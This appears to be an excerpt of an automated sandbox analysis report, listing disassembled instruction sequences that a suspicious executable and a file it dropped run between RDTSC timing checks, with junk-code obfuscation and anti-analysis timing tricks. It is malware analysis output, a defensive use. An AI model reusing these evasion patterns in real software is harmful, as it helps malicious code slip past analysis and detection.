Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C7FA second address: 76C800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C800 second address: 76C817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 ja 00007FF8A11EFED6h 0x0000000c popad 0x0000000d pushad 0x0000000e js 00007FF8A11EFED6h 0x00000014 push eax 0x00000015 pop eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C817 second address: 76C843 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4815h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FF8A0DA4813h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C843 second address: 76C86B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FF8A11EFEE6h 0x0000000e push ecx 0x0000000f ja 00007FF8A11EFED6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76C86B second address: 76C879 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 jc 00007FF8A0DA4806h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F14A second address: 76F150 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F67E second address: 76F684 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76F684 second address: 76F6C0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007FF8A11EFED6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jmp 00007FF8A11EFEDDh 0x00000014 pushad 0x00000015 mov dword ptr [ebp+12460835h], ecx 0x0000001b mov eax, esi 0x0000001d popad 0x0000001e push dword ptr [ebp+122D3399h] 0x00000024 mov edx, ebx 0x00000026 push 0B72286Eh 0x0000002b push eax 0x0000002c jnl 00007FF8A11EFEDCh 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 77096C second address: 770989 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FF8A0DA4812h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120318 second address: 512031E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512031E second address: 512035F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF8A0DA480Bh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007FF8A0DA4816h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FF8A0DA480Ah 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512035F second address: 512036E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203B7 second address: 51203C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF8A0DA480Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203C7 second address: 51203ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF8A11EFEE0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203ED second address: 51203F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203F3 second address: 5120439 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov ebx, 0087C5E4h 0x00000010 pushfd 0x00000011 jmp 00007FF8A11EFEDDh 0x00000016 xor ax, 3E26h 0x0000001b jmp 00007FF8A11EFEE1h 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120439 second address: 512043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512043D second address: 5120450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51204DD second address: 51204E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51204E4 second address: 512050A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FF8A11EFEDFh 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e push esi 0x0000000f mov dx, 4666h 0x00000013 pop edx 0x00000014 popad 0x00000015 mov ebp, esp 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a mov ch, dl 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512054E second address: 512055D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512055D second address: 5120563 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120563 second address: 5120567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120567 second address: 51205B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push 00F4EDB1h 0x00000010 jmp 00007FF8A11EFEDFh 0x00000015 xor dword ptr [esp], 75AAF199h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FF8A11EFEDBh 0x00000025 jmp 00007FF8A11EFEE3h 0x0000002a popfd 0x0000002b mov bh, ah 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51205B9 second address: 5120628 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF8A0DA4810h 0x00000009 and ax, 1AB8h 0x0000000e jmp 00007FF8A0DA480Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FF8A0DA4818h 0x0000001a and ecx, 423D5518h 0x00000020 jmp 00007FF8A0DA480Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 call 00007FF9111F81ECh 0x0000002e push 755727D0h 0x00000033 push dword ptr fs:[00000000h] 0x0000003a mov eax, dword ptr [esp+10h] 0x0000003e mov dword ptr [esp+10h], ebp 0x00000042 lea ebp, dword ptr [esp+10h] 0x00000046 sub esp, eax 0x00000048 push ebx 0x00000049 push esi 0x0000004a push edi 0x0000004b mov eax, dword ptr [75600140h] 0x00000050 xor dword ptr [ebp-04h], eax 0x00000053 xor eax, ebp 0x00000055 push eax 0x00000056 mov dword ptr [ebp-18h], esp 0x00000059 push dword ptr [ebp-08h] 0x0000005c mov eax, dword ptr [ebp-04h] 0x0000005f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000066 mov dword ptr [ebp-08h], eax 0x00000069 lea eax, dword ptr [ebp-10h] 0x0000006c mov dword ptr fs:[00000000h], eax 0x00000072 ret 0x00000073 push eax 0x00000074 push edx 0x00000075 jmp 00007FF8A0DA4815h 0x0000007a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120628 second address: 5120667 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b and dword ptr [ebp-04h], 00000000h 0x0000000f pushad 0x00000010 mov ax, di 0x00000013 push edx 0x00000014 pushfd 0x00000015 jmp 00007FF8A11EFEDCh 0x0000001a adc ax, D9D8h 0x0000001f jmp 00007FF8A11EFEDBh 0x00000024 popfd 0x00000025 pop ecx 0x00000026 popad 0x00000027 mov edx, dword ptr [ebp+0Ch] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov dx, cx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120667 second address: 512066C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512066C second address: 5120672 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120672 second address: 51206DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF8A0DA480Ah 0x00000011 jmp 00007FF8A0DA4815h 0x00000016 popfd 0x00000017 popad 0x00000018 mov al, byte ptr [edx] 0x0000001a jmp 00007FF8A0DA480Eh 0x0000001f inc edx 0x00000020 jmp 00007FF8A0DA4810h 0x00000025 test al, al 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FF8A0DA4817h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51206DB second address: 51206DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FF8A11EFE77h 0x0000000f mov al, byte ptr [edx] 0x00000011 jmp 00007FF8A11EFEDEh 0x00000016 inc edx 0x00000017 jmp 00007FF8A11EFEE0h 0x0000001c test al, al 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF8A11EFEE7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512071C second address: 5120796 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF8A0DA4811h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edi, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FF8A0DA4813h 0x00000015 sbb esi, 56A04CDEh 0x0000001b jmp 00007FF8A0DA4819h 0x00000020 popfd 0x00000021 mov dx, ax 0x00000024 popad 0x00000025 dec edi 0x00000026 jmp 00007FF8A0DA480Ah 0x0000002b lea ebx, dword ptr [edi+01h] 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FF8A0DA4817h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120796 second address: 5120817 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c jmp 00007FF8A11EFEDEh 0x00000011 inc edi 0x00000012 jmp 00007FF8A11EFEE0h 0x00000017 test al, al 0x00000019 pushad 0x0000001a jmp 00007FF8A11EFEDEh 0x0000001f popad 0x00000020 jne 00007FF91163816Eh 0x00000026 pushad 0x00000027 mov ebx, esi 0x00000029 popad 0x0000002a mov ecx, edx 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f pushfd 0x00000030 jmp 00007FF8A11EFEDEh 0x00000035 sub eax, 27AEB658h 0x0000003b jmp 00007FF8A11EFEDBh 0x00000040 popfd 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120817 second address: 512082C instructions: 0x00000000 rdtsc 0x00000002 mov si, 0F0Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 shr ecx, 02h 0x0000000c pushad 0x0000000d pushad 0x0000000e mov esi, 7F03D9FFh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512082C second address: 5120840 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 rep movsd 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 pushad 0x00000011 pushad 0x00000012 mov ax, 4E93h 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 mov ax, bx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120840 second address: 512085E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4811h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov ecx, edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512085E second address: 5120862 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120862 second address: 5120868 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120868 second address: 51208A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 pushfd 0x00000007 jmp 00007FF8A11EFEDCh 0x0000000c and ch, 00000078h 0x0000000f jmp 00007FF8A11EFEDBh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 and ecx, 03h 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FF8A11EFEE5h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51208A7 second address: 51208AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51208AC second address: 512091D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov di, F1F0h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d pushad 0x0000000e push edi 0x0000000f pushfd 0x00000010 jmp 00007FF8A11EFEE0h 0x00000015 xor si, 4A38h 0x0000001a jmp 00007FF8A11EFEDBh 0x0000001f popfd 0x00000020 pop esi 0x00000021 pushfd 0x00000022 jmp 00007FF8A11EFEE9h 0x00000027 jmp 00007FF8A11EFEDBh 0x0000002c popfd 0x0000002d popad 0x0000002e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 jmp 00007FF8A11EFEDBh 0x0000003d pushad 0x0000003e popad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512091D second address: 512093E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov dx, ACE6h 0x00000012 mov di, B172h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512093E second address: 5120944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120944 second address: 512098F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, dword ptr [ebp-10h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF8A0DA480Ch 0x00000012 or cl, FFFFFF88h 0x00000015 jmp 00007FF8A0DA480Bh 0x0000001a popfd 0x0000001b pushad 0x0000001c movzx ecx, bx 0x0000001f push edi 0x00000020 pop esi 0x00000021 popad 0x00000022 popad 0x00000023 mov dword ptr fs:[00000000h], ecx 0x0000002a jmp 00007FF8A0DA480Dh 0x0000002f pop ecx 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512098F second address: 5120993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120993 second address: 51209A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51209A6 second address: 51209AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51209AC second address: 51209B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51209B0 second address: 51209B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51209B4 second address: 51209C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movzx ecx, di 0x0000000f mov dl, 78h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51209C6 second address: 5120A07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FF8A11EFEE6h 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF8A11EFEDAh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A07 second address: 5120A16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A16 second address: 5120A1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A1C second address: 5120A20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120A20 second address: 512054E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a pushad 0x0000000b movsx ebx, ax 0x0000000e mov ax, 3D7Bh 0x00000012 popad 0x00000013 mov ax, 3657h 0x00000017 popad 0x00000018 retn 0008h 0x0000001b cmp dword ptr [ebp-2Ch], 10h 0x0000001f mov eax, dword ptr [ebp-40h] 0x00000022 jnc 00007FF8A11EFED5h 0x00000024 push eax 0x00000025 lea edx, dword ptr [ebp-00000590h] 0x0000002b push edx 0x0000002c call esi 0x0000002e push 00000008h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FF8A11EFEE8h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120B64 second address: 5120BB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov bx, 3ED6h 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF8A0DA4813h 0x00000013 jmp 00007FF8A0DA4813h 0x00000018 popfd 0x00000019 mov di, ax 0x0000001c popad 0x0000001d pop ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF8A0DA4811h 0x00000025 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6995C second address: F69960 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F69AC9 second address: F69AD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F69AD9 second address: F69AE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11EFEDAh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F69AE7 second address: F69AF1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FF8A0DA4806h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F69FAA second address: F69FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F69FAE second address: F69FB4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6A129 second address: F6A146 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF8A11EFEE9h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CA0B second address: F6CA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CA14 second address: F6CA22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b push esi 0x0000000c pop esi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CA22 second address: F6CA55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA480Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jnp 00007FF8A0DA4810h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 ja 00007FF8A0DA4806h 0x0000001c popad 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 jl 00007FF8A0DA4806h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CA55 second address: F6CAE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A11EFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jmp 00007FF8A11EFEE6h 0x00000012 pop eax 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007FF8A11EFED8h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d push 00000003h 0x0000002f xor cl, 00000000h 0x00000032 push 00000000h 0x00000034 and edx, dword ptr [ebp+122D2CC6h] 0x0000003a push 00000003h 0x0000003c stc 0x0000003d call 00007FF8A11EFED9h 0x00000042 jmp 00007FF8A11EFEDBh 0x00000047 push eax 0x00000048 push edi 0x00000049 pushad 0x0000004a jmp 00007FF8A11EFEDDh 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CAE2 second address: F6CAF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CAF1 second address: F6CAF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFIJKEHJJDA.exe	RDTSC instruction interceptor: First address: F6CAF6 second address: F6CB32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF8A0DA4817h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007FF8A0DA4819h 0x00000015 popad 0x00000016 rdtsc
